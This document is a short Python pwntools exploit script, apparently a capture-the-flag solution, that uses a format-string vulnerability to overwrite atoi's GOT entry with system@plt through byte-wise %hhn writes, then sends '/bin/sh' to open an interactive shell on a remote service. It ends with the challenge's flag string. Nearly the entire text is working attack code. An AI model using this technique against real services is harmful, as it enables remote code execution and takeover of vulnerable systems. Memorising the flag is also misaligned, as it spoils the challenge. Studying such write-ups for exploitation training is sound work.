#!/usr/bin/env python
from pwn import *

r = remote('192.168.31.25',55555)

# ask name(with fmt vuln) -> input name -> ask password -> input password -> atoi(password)

# nomal : call 0x080484f0(atoi@plt) -> jmp *0x804a034(atoi@got) 
# after : ask name -> input name(change atoi to system ) -> ask password -> input '/bin/sh' -> system('/bin/sh')

# change : call 0x080484f0(atoi@plt) -> jmp *0x804a034(system@plt) 
# --> change the value of 0x804a034  equal to address of system@plt
# --> write 0x080484a0 to 0x804a034

 
# What your name ? AAAAA.%10$x
# Hello ,AAAAA.41414141   -> input buffer start at 10th parameter


atoi_got0 = 0x0804a034
atoi_got1 = 0x0804a035
atoi_got2 = 0x0804a036
atoi_got3 = 0x0804a037

# write a0
# 0xa0 - 16
fmt0 = '%'+str(0xa0 - 16) + 'c%10$hhn'
# write 84
fmt1 = '%'+str((0x84 - 0xa0 + 256)%256) +'c%11$hhn'
#write 04
fmt2 = '%'+str((0x04 - 0x84 + 256)%256) +'c%12$hhn'
#write 08
fmt3 = '%'+str((0x08 - 0x04 + 256)%256) +'c%13$hhn'

payload = p32(atoi_got0) + p32(atoi_got1) + p32(atoi_got2) + p32(atoi_got3) + fmt0 + fmt1 + fmt2 + fmt3 

r.readuntil('?')
r.send(payload)
r.readuntil(':')
r.send('/bin/sh')
r.interactive()


#AD{uS1ng_f0rm4t_str1ng_c0ntr0l_th3_w0rld}
